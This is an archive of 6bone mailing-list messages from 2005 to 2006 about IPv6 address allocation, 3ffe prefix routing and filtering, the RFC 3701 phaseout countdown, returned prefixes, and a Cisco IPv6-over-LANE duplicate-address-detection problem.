 >    d) be an existing, known ISP in the ARIN region or have a plan for
 >       making at least 200 /48 assignments to other organizations
 >       within
 >       five years.

One could argue that a university is already an existing known
ISP but I'm sure you have business relationships with 200 customers
that you could plan to assign /48's to.  I would think that tunnels
to faculty or student off campus residences would be a good place to 
start.  Note that you cannot assign /48's to departments since those
are still (usually) a part of the same legal entity.  Students and
faculty are of course separate legal entities and can be assigned a /48
though I don't know of anyone planning to assign /48's to students
in dorm rooms.

Of course under the current policy you can use a /48 per "location"
for your own network.  I would consider a contiguous campus one
location but YMMV.

> Is anyone else besides MIT still trying to use prefixes from the now- 
> defunct MERIT block 3ffe:1c00::/24?  We've got route advertisements  
> for 3ffe:1ce1::/16 going out through one other tunnel, but they don't  
> seem to be getting very far. :-(

did you mean 3ffe:1ce1::/48?  You might ask your upstream(s)
if they are filtering it.  I don't see anything from 3ffe:1c00::/24
in my tables, nor does the sixxs looking glass.

Each network has it's own policy on what it accepts.  Some don't accept
any routes from 3ff3::/16 space.    Most of the networks we peer with
seem to accept anything down to /48 though at least one only accepts
/24|/28|/32 in 3ffe::/16 depending on the range.  I can set up
a tunnel session for you if you want to see how far it gets through
us.  Of course I can also assign you a /48 from our space 
(2001:4810::/32) and you can see how far that goes through
your other connections.

- Kevin

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On Oct 10, 2005, at 20:31, Kevin Loch wrote:
>> And at the rate my employer's dealing with the legalese for a  
>> "real"  allocation, that might almost be enough...
>
> Were you turned down by ARIN?  The requirements are very simple,
> just know the correct answers to four trick questions:

No, we haven't gotten that far.  I think it's a question of having  
lawyers review some terms that someone had expressed some concerns  
over, and the blocking factor that it's not high enough on the  
priority list compared to a large pile of other things that have to  
be taken to the lawyers.  (Which reminds me, it's about time for me  
to ping again the guy whose job it would be to ping the lawyers....)

>> Is anyone else besides MIT still trying to use prefixes from the  
>> now- defunct MERIT block 3ffe:1c00::/24?  We've got route  
>> advertisements  for 3ffe:1ce1::/16 going out through one other  
>> tunnel, but they don't  seem to be getting very far. :-(
>
> did you mean 3ffe:1ce1::/48?  You might ask your upstream(s)
> if they are filtering it.  I don't see anything from 3ffe:1c00::/24
> in my tables, nor does the sixxs looking glass.

Um, right, not /16.  Actually, I think ours is a /32.  Our only  
currently working upstream is VBNS, and last I checked, they weren't  
filtering it.  But even then I don't think it was getting to any  
looking glass I could find.

> Each network has it's own policy on what it accepts.  Some don't  
> accept
> any routes from 3ff3::/16 space.    Most of the networks we peer with
> seem to accept anything down to /48 though at least one only accepts
> /24|/28|/32 in 3ffe::/16 depending on the range.

Hm, that's annoying.  Not too surprising, though.  And no one's  
currently advertising the MERIT /24 block, I would assume.

>   I can set up
> a tunnel session for you if you want to see how far it gets through
> us.  Of course I can also assign you a /48 from our space  
> (2001:4810::/32) and you can see how far that goes through
> your other connections.

Thanks, I think that might help...

Ken

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James wrote:
> Given that MIT is a member of NOX GigaPOP, it may be easier to
 > acquire a few /48s from NOX's Abilene /40 allocation.

As long as they don't rely only on Abilene routes...

 > Or ask NOX or Goddard to acquire a /32 from ARIN then break off
 > a /40 for you, they should be able to get them easily.

They could do that but I don't think they will have any problems
qualifying for a /32 under the current ARIN policy.

- Kevin

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Hi,

On Mon, Oct 10, 2005 at 05:17:02PM -0400, Ken Raeburn wrote:
> I wonder if it's /48 being too small, or not coming from the right AS  
> number, or sites just not accepting our advertisements, or what...

I know that some sites are filtering /48s, and other sites are filtering
all of 3FFE.

So expect some problems with a /48 from 3FFE space...

(As for the question "who can see my prefix", GRH is your friend - just
check the looking glass on http://grh.sixxs.net/)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  81421

SpaceNet AG                    Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14      Tel : +49-89-32356-0
D- 80807 Muenchen              Fax : +49-89-32356-234


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http://www.lumeta.com/IPv6/

-Hank


From ljb@merit.edu Thu Oct 13 02:08:31 2005
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Subject: Re: [6bone] Neustar returns 3FFE:B80:FBE::/48 (Merit returns
	3FFE:1C00::/24)
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Ken Raeburn wrote:

>On Oct 10, 2005, at 20:31, Kevin Loch wrote:
>  
>
>>>And at the rate my employer's dealing with the legalese for a  
>>>"real"  allocation, that might almost be enough...
>>>      
>>>
>>Were you turned down by ARIN?  The requirements are very simple,
>>just know the correct answers to four trick questions:
>>    
>>
>
>No, we haven't gotten that far.  I think it's a question of having  
>lawyers review some terms that someone had expressed some concerns  
>over, and the blocking factor that it's not high enough on the  
>priority list compared to a large pile of other things that have to  
>be taken to the lawyers.  (Which reminds me, it's about time for me  
>to ping again the guy whose job it would be to ping the lawyers....)
>  
>

   You should be able to get IPv6 space from Abilene/Internet2.

>  
>
>>>Is anyone else besides MIT still trying to use prefixes from the  
>>>now- defunct MERIT block 3ffe:1c00::/24?  We've got route  
>>>advertisements  for 3ffe:1ce1::/16 going out through one other  
>>>tunnel, but they don't  seem to be getting very far. :-(
>>>      
>>>
>>did you mean 3ffe:1ce1::/48?  You might ask your upstream(s)
>>if they are filtering it.  I don't see anything from 3ffe:1c00::/24
>>in my tables, nor does the sixxs looking glass.
>>    
>>
>
>Um, right, not /16.  Actually, I think ours is a /32.  Our only  
>currently working upstream is VBNS, and last I checked, they weren't  
>filtering it.  But even then I don't think it was getting to any  
>looking glass I could find.
>  
>

    It was a /48 in our old mrtd config file (although our allocations 
were on /32 boundaries).

>  
>
>>Each network has it's own policy on what it accepts.  Some don't  
>>accept
>>any routes from 3ff3::/16 space.    Most of the networks we peer with
>>seem to accept anything down to /48 though at least one only accepts
>>/24|/28|/32 in 3ffe::/16 depending on the range.
>>    
>>
>
>Hm, that's annoying.  Not too surprising, though.  And no one's  
>currently advertising the MERIT /24 block, I would assume.
>  
>

    We shut down our 6bone router over a year ago (we had switched all our
production hosts to native v6 over Abilene/Internet2).

>  
>
>>  I can set up
>>a tunnel session for you if you want to see how far it gets through
>>us.  Of course I can also assign you a /48 from our space  
>>(2001:4810::/32) and you can see how far that goes through
>>your other connections.
>>    
>>
>
>Thanks, I think that might help...
>
>Ken
>  
>

   Ken,
        I take it you're okay with us returning 3ffe:1c00::/24?  


   Thanks,
     Larry Blunk
     Merit Network


From bobfink@gmail.com Thu Jan  5 16:47:06 2006
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

From bobfink@gmail.com Sun Feb  5 16:26:45 2006
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

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------=_Part_1401_20282062.1141584625911
Content-Type: text/plain; charset=ISO-8859-1
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

------=_Part_1401_20282062.1141584625911
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6bone Operators &amp; Users,<br><br>Per RFC 3701, &quot;6bone (IPv6 Testing=
 Address Allocation) Phaseout&quot;, 3FFE<br>prefixes only remain valid unt=
il June 6, 2006.<br><br>After June 6, 2006 no 6bone 3FFE prefixes, of any s=
ize/length, are to
<br>be used on the Internet in any form.<br><br>Note that on June 6, 2006 3=
FFE prefixes do not actively need to be<br>returned to the 6bone registry; =
3FFE prefixes will simply be invalid<br>after that date and assumed to be t=
otally under the control of the
<br>IANA.<br><br>Network operators may filter 3FFE prefixes on their border=
s to ensure<br>these prefixes are not misused.<br><br>Because of this, it i=
s highly recommend that all 6Bone participants<br>take early measures to fi=
nd alternative IPv6 services, instead of
<br>waiting until the last minute, in order to avoid service disruption.<br=
><br>Please take appropriate action now.<br><br><br>Regards,<br><br>Bob Fin=
k

------=_Part_1401_20282062.1141584625911--

From jeroen@unfix.org Sun Mar  5 11:47:06 2006
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On Sun, 2006-03-05 at 10:50 -0800, Robert Fink wrote:
> 6bone Operators & Users,
>=20
> Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
> prefixes only remain valid until June 6, 2006.
[..]

Checking my little GRH list @ http://noc.sixxs.net/tools/grh/dfp/6bone/
it seems that quite a number of folks have apparently stopped announcing
their 6bone prefixes recently. They haven't been nice yet though to
actually mention that they would stop using them oddly enough. Could
folks be so nice to send a little mail to say thanks for using the
prefix and possibly a small description of things they did with it and
what positive and negative things they found out during their usage?

=46rom the near-bottom of that page:
8<------------------
The database currently holds 144 IPv6 DFP's.
Of which 33 (22.92%) are returned to the pool,
         38 (26.39%) IPv6 DFP's didn't have a routing entry.
Thus     73 (50.69%) networks are currently announced.
------------------>8

So we are almost at half-way of shutting down the 6bone.

Greets,
 Jeroen


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Hi,

I will like to take the opportunity of this email to introduce the OCCAID
Project, which may be useful for some of you when turning down 6Bone.

With the termination of the 6Bone experiment on 6th June 2006, and in order
to avoid some of you becoming disconnected from IPv6, the OCCAID Project
(http://www.occaid.org) is offering alternative options.

Of course, there are many commercial providers that already provide IPv6
transit today, and you should always try that path first. Please, make sure
to ask your existing upstream providers, or even consider alternative ones
if no other way. In some cases they will only move if they feel the market
pressure and that means all of us ...

If you upstream providers respond with something such as "IPv what?",
please, let me know, some times we may be able to help them so you can keep
moving !

If you are interested in taking up OCCAID offer, please send an e-mail to
6bone-transfer@occaid.org, so we can assist you.

Regards,
Jordi





De: Robert Fink <bob@thefinks.com>
Responder a: <6bone-bounces@mailman.isi.edu>
Fecha: Sun, 5 Mar 2006 10:50:25 -0800
Para: 6BONE <6bone@mailman.isi.edu>
Asunto: [6bone] 6bone phaseout countdown notification - 3 months until
phaseout

6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone




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Slides available at:
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From bobfink@gmail.com Fri Apr 14 12:31:24 2006
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

From tvo@enterzone.net Wed May  3 01:09:27 2006
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Subject: [6bone] Cisco IPv6 configuration issues
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I'm moving our v6 network to our Ciscos but, I'm having serious problems.

router#sh ver
Cisco Internetwork Operating System Software
IOS (tm) RSP Software (RSP-JSV-M), Version 12.3(12a), RELEASE SOFTWARE (fc2)



Using the following config:

interface ATM0/0
 ip address x.x.x.x 255.255.255.224
 ip flow ingress
 ip route-cache flow
 atm pvc 1 0 5 qsaal
 atm pvc 2 0 16 ilmi
 atm uni-version 3.1
 no atm ilmi-keepalive
 ipv6 address 2001:4F0:xxxx::13/64
 ipv6 enable
 ipv6 cef
 lane config-atm-address C5.007900000000000000000000.00A03E000001.00
 lane client ethernet xxxx


I wind up with the following:

#sh ipv6 interface
ATM0/0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::260:3EFF:FE09:7820
  Global unicast address(es):
    2001:4F0:xxxx::13, subnet is 2001:4F0:xxxx::/64 [TENTATIVE]
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::5
    FF02::1:FF00:13
    FF02::1:FF09:7820
  MTU is 1500 bytes
  ICMP error messages limited to one every 100 milliseconds
  ICMP redirects are enabled
  ND DAD is enabled, number of DAD attempts: 1
  ND reachable time is 30000 milliseconds
  Hosts use stateless autoconfig for addresses.



The problem is that the IPv6 addresses keep going into [TENTATIVE] state.  I
don't need IOS to try to second guess me about address duplicates.  I can't seem
to disable the duplicate address detection though.  When I configure the address,
it will work for a minute or so and then, it goes into [TENTATIVE] state which
of course, makes it not work.  It will cycle in and out of [TENTATIVE] state
every once in a while but, it's down more often than not.

I've tried "ipv6 nd dad attempts 0" to disable DAD but, that doesn't seem to
do what I'm needing because even when DAD is disabled, the interface will go
into [TENTATIVE] state on the address I've configured.

Something to note:  This interface is running LANE.

Does anyone have any suggestions?

Thanks,

John

From tvo@enterzone.net Wed May  3 22:30:28 2006
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Antonio Querubin wrote:
> On Wed, 3 May 2006, John Fraizer wrote:
> 
>> I'm moving our v6 network to our Ciscos but, I'm having serious problems.
>>
>> router#sh ver
>> Cisco Internetwork Operating System Software
>> IOS (tm) RSP Software (RSP-JSV-M), Version 12.3(12a), RELEASE SOFTWARE
>> (fc2)
>>
>>
>>
>> Using the following config:
>>
>> interface ATM0/0
>> ip address x.x.x.x 255.255.255.224
>> ip flow ingress
>> ip route-cache flow
>> atm pvc 1 0 5 qsaal
>> atm pvc 2 0 16 ilmi
>> atm uni-version 3.1
>> no atm ilmi-keepalive
>> ipv6 address 2001:4F0:xxxx::13/64
> 
> 
> Have you tried adding 'eui-64' to the end of the 'ipv6 address' line?
> That'll at least lock down the last 64 bits of the address.


I've tried that.
Makes no difference.  It still goes into [tentative] state.  I'm looking
for a way to say, "Look you SOB... I *manually* configured this %^&#@ IP
address!  Don't ^&#^%^&#ggin' try to second guess me!  Just %@^%#^&gin
accept the address I've given you with the "ipv6 address" command!!!

The ^&#*gin router won't do that though.  It wants to treat me like
someone who can't manage their own IP space and needs their router
to do it for them.


John

From trond.skjesol@uninett.no Wed May  3 23:36:44 2006
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John Fraizer wrote:
> Antonio Querubin wrote:
>> On Wed, 3 May 2006, John Fraizer wrote:
>>
>>> I'm moving our v6 network to our Ciscos but, I'm having serious problems.
>>>
>>> router#sh ver
>>> Cisco Internetwork Operating System Software
>>> IOS (tm) RSP Software (RSP-JSV-M), Version 12.3(12a), RELEASE SOFTWARE
>>> (fc2)
>>>
>>>
>>>
>>> Using the following config:
>>>

I'm not using ATM any more, but when I used it IPv6 over ATM was only
implemented on point to point links. Have you tried to configure at
point to point link?

 -Trond

>>> interface ATM0/0
>>> ip address x.x.x.x 255.255.255.224
>>> ip flow ingress
>>> ip route-cache flow
>>> atm pvc 1 0 5 qsaal
>>> atm pvc 2 0 16 ilmi
>>> atm uni-version 3.1
>>> no atm ilmi-keepalive
>>> ipv6 address 2001:4F0:xxxx::13/64
>>
>> Have you tried adding 'eui-64' to the end of the 'ipv6 address' line?
>> That'll at least lock down the last 64 bits of the address.
> 
> 
> I've tried that.
> Makes no difference.  It still goes into [tentative] state.  I'm looking
> for a way to say, "Look you SOB... I *manually* configured this %^&#@ IP
> address!  Don't ^&#^%^&#ggin' try to second guess me!  Just %@^%#^&gin
> accept the address I've given you with the "ipv6 address" command!!!
> 
> The ^&#*gin router won't do that though.  It wants to treat me like
> someone who can't manage their own IP space and needs their router
> to do it for them.
> 
> 
> John
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From tvo@enterzone.net Thu May  4 06:26:32 2006
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No.  I haven't tried point-to-point.  I need to set up 3000 individual PVCs
like I need another hold in my head. ;)  I know that ATM over LANE works.  It
just doesn't work right with Cisco gear - unless someone knows something I don't.

It's been running just fine on my linux routers for 5 years.

John

Trond Skjesol wrote:
> 
> John Fraizer wrote:
> 
>>Antonio Querubin wrote:
>>
>>>On Wed, 3 May 2006, John Fraizer wrote:
>>>
>>>
>>>>I'm moving our v6 network to our Ciscos but, I'm having serious problems.
>>>>
>>>>router#sh ver
>>>>Cisco Internetwork Operating System Software
>>>>IOS (tm) RSP Software (RSP-JSV-M), Version 12.3(12a), RELEASE SOFTWARE
>>>>(fc2)
>>>>
>>>>
>>>>
>>>>Using the following config:
>>>>
> 
> 
> I'm not using ATM any more, but when I used it IPv6 over ATM was only
> implemented on point to point links. Have you tried to configure at
> point to point link?
> 
>  -Trond
> 
> 
>>>>interface ATM0/0
>>>>ip address x.x.x.x 255.255.255.224
>>>>ip flow ingress
>>>>ip route-cache flow
>>>>atm pvc 1 0 5 qsaal
>>>>atm pvc 2 0 16 ilmi
>>>>atm uni-version 3.1
>>>>no atm ilmi-keepalive
>>>>ipv6 address 2001:4F0:xxxx::13/64
>>>
>>>Have you tried adding 'eui-64' to the end of the 'ipv6 address' line?
>>>That'll at least lock down the last 64 bits of the address.
>>
>>
>>I've tried that.
>>Makes no difference.  It still goes into [tentative] state.  I'm looking
>>for a way to say, "Look you SOB... I *manually* configured this %^&#@ IP
>>address!  Don't ^&#^%^&#ggin' try to second guess me!  Just %@^%#^&gin
>>accept the address I've given you with the "ipv6 address" command!!!
>>
>>The ^&#*gin router won't do that though.  It wants to treat me like
>>someone who can't manage their own IP space and needs their router
>>to do it for them.
>>
>>
>>John
>>_______________________________________________
>>6bone mailing list
>>6bone@mailman.isi.edu
>>http://mailman.isi.edu/mailman/listinfo/6bone
>>


From bobfink@gmail.com Sat May  6 23:25:32 2006
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout ", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

------=_Part_27711_668034.1146983096924
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<span name=3D"st">6bone</span> Operators &amp; Users,<br><br>Per RFC 3701, =
&quot;<span name=3D"st">6bone</span> (IPv6 Testing Address Allocation) <spa=
n name=3D"st">Phaseout
</span>&quot;, 3FFE<br>prefixes only remain valid until June 6, 2006.<br><b=
r>After June 6, 2006 no <span name=3D"st">6bone</span> 3FFE prefixes, of an=
y size/length, are to<br>be used on the Internet in any form.
<br><br>Note that on June 6, 2006 3FFE prefixes do not actively need to be<=
br>returned to the <span name=3D"st">6bone</span> registry; 3FFE prefixes w=
ill simply be invalid<br>after that date and assumed to be totally under th=
e control of the
<br>IANA.<br><br>Network operators may filter 3FFE prefixes on their border=
s to ensure<br>these prefixes are not misused.<br><br>Because of this, it i=
s highly recommend that all <span name=3D"st">6Bone</span>
 participants<br>take early measures to find alternative IPv6 services, ins=
tead of<br>waiting until the last minute, in order to avoid service disrupt=
ion.<br><br>Please take appropriate action now.<br><br><br>Regards,<br>

<br>Bob Fink


------=_Part_27711_668034.1146983096924--

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Subject: Re: [6bone] Cisco IPv6 configuration issues
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On 4-mei-2006, at 15:24, John Fraizer wrote:

> No.  I haven't tried point-to-point.  I need to set up 3000  
> individual PVCs
> like I need another hold in my head. ;)  I know that ATM over LANE  
> works.  It
> just doesn't work right with Cisco gear - unless someone knows  
> something I don't.

IPv6 over LANE, you mean?

Sounds to me like once in a while, the router sees an unexpected  
neighbor discovery packet with its own address in it, which I  
speculate could be caused by the broadcast server doing some of its  
emulation magic. It would be useful to tcpdump this to see what's  
going on...

In the mean time, a practical suggestion: if this only happens for  
the global address, and all of this is between a bunch of routers,  
why not forego the global addresses on the LANE cloud and just use  
link locals? IPv6 routers are smart enough to borrow a global address  
from another interface when required and routing protocols only deal  
with link local next hop addresses anyway.

From frlinux@frlinux.net Mon May 22 02:11:42 2006
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On Wed, May 3, 2006 9:07 am, John Fraizer wrote:
> IOS (tm) RSP Software (RSP-JSV-M), Version 12.3(12a), RELEASE

Hello,

Your IOS has been retired according to Cisco :
http://www.cisco.com/kobayashi/library/iosplanner/retired.shtml

>  lane config-atm-address C5.007900000000000000000000.00A03E000001.00
>  lane client ethernet xxxx

We are not using any lane config on our ATM setup, so i can't be of any
help here ...

Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc


From bobfink@gmail.com Sun May 28 23:43:50 2006
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Thanks for returning your prefix.

As we are close to shut down we won't be bothering to update any more
records in the registry.


Thanks for your participation.

Bob

=3D=3D=3D
On 5/28/06, CS Loxinfo IPv6 <ipv6@csloxinfo.net> wrote:
>
> Hi,
>
> From RFC 3701, LOXINFO-TH would like to return the 3FFE:4014::/32 prefix
> to the 6bone.
> But we can't remove all records from whois.6bone.net because our password
> was wrong. So, you can remove all our record from 6bone.net.
> We have completed transition of the network to APNIC with 2404:B0::/32.
>
> Many thanks for enabling us to develop IPv6 over the past few years.
>
> Thanks,
> CS Loxinfo IPv6.
>
>

------=_Part_47942_31196244.1148884981132
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Thanks for returning your prefix.<br><br>As we are close to shut down we wo=
n't be bothering to update any more records in the registry.<br><br><br>Tha=
nks for your participation.<br><br>Bob<br><br>=3D=3D=3D<br><div><span class=
=3D"gmail_quote">
On 5/28/06, <b class=3D"gmail_sendername">CS Loxinfo IPv6</b> &lt;<a href=
=3D"mailto:ipv6@csloxinfo.net">ipv6@csloxinfo.net</a>&gt; wrote:</span><blo=
ckquote class=3D"gmail_quote" style=3D"border-left: 1px solid rgb(204, 204,=
 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
Hi,<br><br> From RFC 3701, LOXINFO-TH would like to return the 3FFE:4014::/=
32 prefix<br>to the 6bone.<br>But we can't remove all records from <a href=
=3D"http://whois.6bone.net">whois.6bone.net</a> because our password<br>was=
 wrong. So, you can remove all our record from=20
<a href=3D"http://6bone.net">6bone.net</a>.<br>We have completed transition=
 of the network to APNIC with 2404:B0::/32.<br><br>Many thanks for enabling=
 us to develop IPv6 over the past few years.<br><br>Thanks,<br>CS Loxinfo I=
Pv6.
<br><br></blockquote></div><br>

------=_Part_47942_31196244.1148884981132--

From jeroen@unfix.org Mon May 29 03:47:49 2006
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On 5/28/06, CS Loxinfo IPv6 <ipv6@csloxinfo.net> wrote:
>        =20
>         From RFC 3701, LOXINFO-TH would like to return the
>         3FFE:4014::/32 prefix to the 6bone.

It might be nice though to also stop announcing the prefix to the
internet:

grh.sixxs.net> show bgp 3ffe:4014::/32
BGP routing table entry for 3ffe:4014::/32
Paths: (63 available, best #41, table Default-IP-Routing-Table)
  Not advertised to any peer
  12634 6453 8002 2516 7660 2500 4725 17715 4750
    2001:960:225::3 from 2001:960:225::3 (213.204.225.3)
      Origin IGP, localpref 100, valid, external
      Last update: Mon May 29 09:36:47 2006

and 40 others of those paths...

See http://www.sixxs.net/tools/grh/ for further information.

Greets,
 Jeroen


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Dear Sir

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
prefixes only remain valid until June 6, 2006.

NECTEC-TH would like to return the 3FFE:4016::/32 prefix to the 6bone.

Thank you very much for  give we use IPv6 from 6bone to develop IPv6 
over the past few years.

Regards,
NECTEC  IPv6.

From jeroen@unfix.org Wed May 31 08:55:02 2006
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On Wed, 2006-05-31 at 20:34 +0700, Chatchai Chan-In wrote:
> Dear Sir
>=20
> Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
> prefixes only remain valid until June 6, 2006.
>=20
> NECTEC-TH would like to return the 3FFE:4016::/32 prefix to the 6bone.

I've marked them as returned in GRH, do note that it still sees two very
long incoming paths, I would not be surpised if they are ghosts:

grh.sixxs.net> show bgp 3ffe:4016::/32
BGP routing table entry for 3ffe:4016::/32
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  31424 8237 16215 3549 6939 4725 3748 3786 17832 9270 4538 4538 24489
24287 24490 24490 24490 24490 24490 7575 11537 20080 20312 27750 2153
22388 7660 2500 4697 224 2603 6175 2497 3836
    2001:4168:fffe::1 from 2001:4168:fffe::1 (217.147.223.2)
      Origin IGP, localpref 100, valid, external
      Community: 31424:1004
      Last update: Wed May 31 14:27:25 2006

  31424 8237 16215 3549 6939 4725 3748 3786 17832 9270 4538 4538 24489
24287 24490 24490 24490 24490 24490 7575 11537 20080 20312 27750 2153
22388 7660 2500 4697 224 2603 6175 2497 3836
    2001:4168:ffff::1 from 2001:4168:ffff::1 (217.147.223.1)
      Origin IGP, localpref 100, valid, external, best
      Community: 31424:1004
      Last update: Wed May 31 14:27:19 2006

Both paths are coming from the same peer and 3549 and 6939 clearly don't
have it, thus there could be an issue somewhere in: 31424 8237 16215 GRH
doesn't see anything from the other ASN's, they are all three here
in .ch though. AS holders in CC. I wonder what software runs on those
nodes.

Greets,
 Jeroen


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From bobfink@gmail.com Wed May 31 09:25:55 2006
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Chatchai Chan-In,

Thank you for returning your prefix.


Regards,

Bob

On 5/31/06, Chatchai Chan-In <chatchai@nectec.or.th> wrote:
> Dear Sir
>
> Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", 3FFE
> prefixes only remain valid until June 6, 2006.
>
> NECTEC-TH would like to return the 3FFE:4016::/32 prefix to the 6bone.
>
> Thank you very much for  give we use IPv6 from 6bone to develop IPv6
> over the past few years.
>
> Regards,
> NECTEC  IPv6.
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>

From pim@bfib.ipng.nl Mon Jun  5 12:49:06 2006
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Hoi,

| After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
| be used on the Internet in any form.
I have added BGP filtering at BIT (as12859) to prohibit 6BONE prefixes
from entering our routing tables.

SixXS has also turned off routing to these destinations. Where
appropriate, we have collaborated with our participating ISPs to enable
BGP filtering for all 3ffe::/16 routes. For all 20+ tunnelservers, we
have disabled forwarding to 6BONE space by adding a route for 3ffe::/16
to lo0 and having them send ICMP unreachables for SixXS users trying to
reach those destinations. 
 
6BONE becomes 6GONE!

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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Pim,

Thanks for the note. Good luck!


Bob

On 6/5/06, Pim van Pelt <pim@ipng.nl> wrote:
> Hoi,
>
> | After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
> | be used on the Internet in any form.
> I have added BGP filtering at BIT (as12859) to prohibit 6BONE prefixes
> from entering our routing tables.
>
> SixXS has also turned off routing to these destinations. Where
> appropriate, we have collaborated with our participating ISPs to enable
> BGP filtering for all 3ffe::/16 routes. For all 20+ tunnelservers, we
> have disabled forwarding to 6BONE space by adding a route for 3ffe::/16
> to lo0 and having them send ICMP unreachables for SixXS users trying to
> reach those destinations.
>
> 6BONE becomes 6GONE!
>
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
>

From bobfink@gmail.com Mon Jun  5 12:56:22 2006
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6bone Operators & Users,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout ", 3FFE
prefixes only remain valid until June 6, 2006.

After June 6, 2006 no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Because of this, it is highly recommend that all 6Bone participants
take early measures to find alternative IPv6 services, instead of
waiting until the last minute, in order to avoid service disruption.

Please take appropriate action now.


Regards,

Bob Fink

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Dear 6bone,

On this sad date of 6/6/6 when the clock has struck 00:00 in most
countries on the European continent, it is time for your demise. When
the clock strikes 06:06:06 here it will also be 6/6/6 in the US and thus
globally the final hours will have chimed in.

At the moment of writing this sad letter I also have to conclude that
some people didn't abide by the 6bone rules, even though the clock has
chimed into the phaseout day, still 57 of the 144 assigned networks are
announcing 6bone space, another 52 didn't even take the small moment of
time to return the prefix to the registry when they where asked to, they
